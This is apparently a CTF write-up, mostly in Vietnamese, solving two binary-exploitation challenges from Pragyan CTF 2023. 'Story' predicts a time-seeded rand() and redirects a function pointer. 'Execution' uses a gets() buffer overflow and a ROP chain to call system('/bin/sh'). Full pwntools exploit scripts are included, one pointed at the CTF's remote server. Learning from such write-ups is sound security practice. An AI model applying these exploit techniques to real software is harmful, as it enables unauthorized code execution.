Try   HackMD

(writeup) p_ctf'23

Story

  • check file

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • checksec

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • đề bài sẽ nhảy đến hàm random_check đầu tiên, yêu cầu ta đoán số 5 lần, nếu số nhập vào giống với rand() % 1000 thì đi tiếp hàm vuln
  • vấn đề là hàm rand() là 1 hàm cho 1 số nguyên dương ngẫu nhiên

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • và cũng có hàm srand() cũng sinh ra số ngẫu nhiên nhưng có lồng hàm time() vào. hàm time() là tính từ năm 1900 mấy
  • lỗi ở đây, ta có thể leak time() và khiến cho hàm check() thoả mãn

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • ta sẽ tính offset

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • kiểm ta check

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • thấy rằng hiện tại nó đg trỏ tới hard_set_wwinner
pointer fun point to check 
address check point hard_set_winner
aim: sub 211 to point easy_set_wwinner

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • do địa chỉ của fun cao hơn check nên hướng đi ta cần fun trỏ đến easy_set_winner

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • ngoài ra, khi hàm random_check đã qua, ta sẽ đến hàm vuln() dữ liệu vào khai thác

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • vì tiến vào trong hàm easy_set_winner và yêu cầu tổng byte là 1240:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • ta sẽ thử nhập:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • vậy payload của ta là abcdefghijkv

  • biến v4 được khai báo là int, mà lại nằm trong mảng fun, nên ta lấy offset tính được chia cho 4 (int_64 sẽ chia cho 8)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *
import random
import time
from ctypes import *

context.binary = exe =ELF('./story',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")

#p = process(exe.path)
p = remote('story.ctf.pragyan.org', 6004)

giay = int(time.time() // 60)
elf.srand(giay)

hard_set_winner = 0x5555555554b4
easy_set_winner = 0x5555555553e1
#offset = 211
fun = 0x555555558040
check = 0x555555558010
#offset = 48

# pointer fun point check, check point hard_set_checker
# sub 211 to point easy_set_checker
for i in range(0, 4):
	payload = str(elf.rand() % 1000).encode()
	p.sendlineafter(b'guess: ',payload)

payload = b'abcdefghijkv'

p.sendlineafter(b'game ',payload)

p.sendlineafter(b'1000: ', b'-12 -211')

p.interactive()

p_ctf{s4y_tk_288_dg_st0ry}


Execution

  • check file + checksec

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • có lỗi BOF ở hàm gets, có cả function ẩn đi là date(), trong func đó có system nhưng system này sẽ cho ta thời gian hiện tại máy chủ, khá vô dụng khi nghĩ đến ret2win
  • vậy ta lợi dụng hàm system nhưng sẽ thực thi '/bin/sh' thay vì '/bin/date'
  • ta cần truyền chuỗi '/bin/sh\0' vào 1 vùng nhớ ghi được nào đó thông qua 1 hàm cho ta nhập thêm 1 lần nữa (cụ thể có gets thì dùng nó luôn)
  • đưa vùng nhớ mình ghi vào $rdi
  • gọi system lên là có shell

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./execution',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

p = process(exe.path)
#p = remote('execution.ctf.pragyan.org', 12386)

pop_rdi = 0x0000000000400703
rw_section = 0x00000000601a00

payload = b'A'*72
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(exe.plt['gets'])
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(exe.plt['system'])

p.sendlineafter(b'program: \n', payload)

sleep(1)

p.sendline(b'/bin/sh')

p.interactive()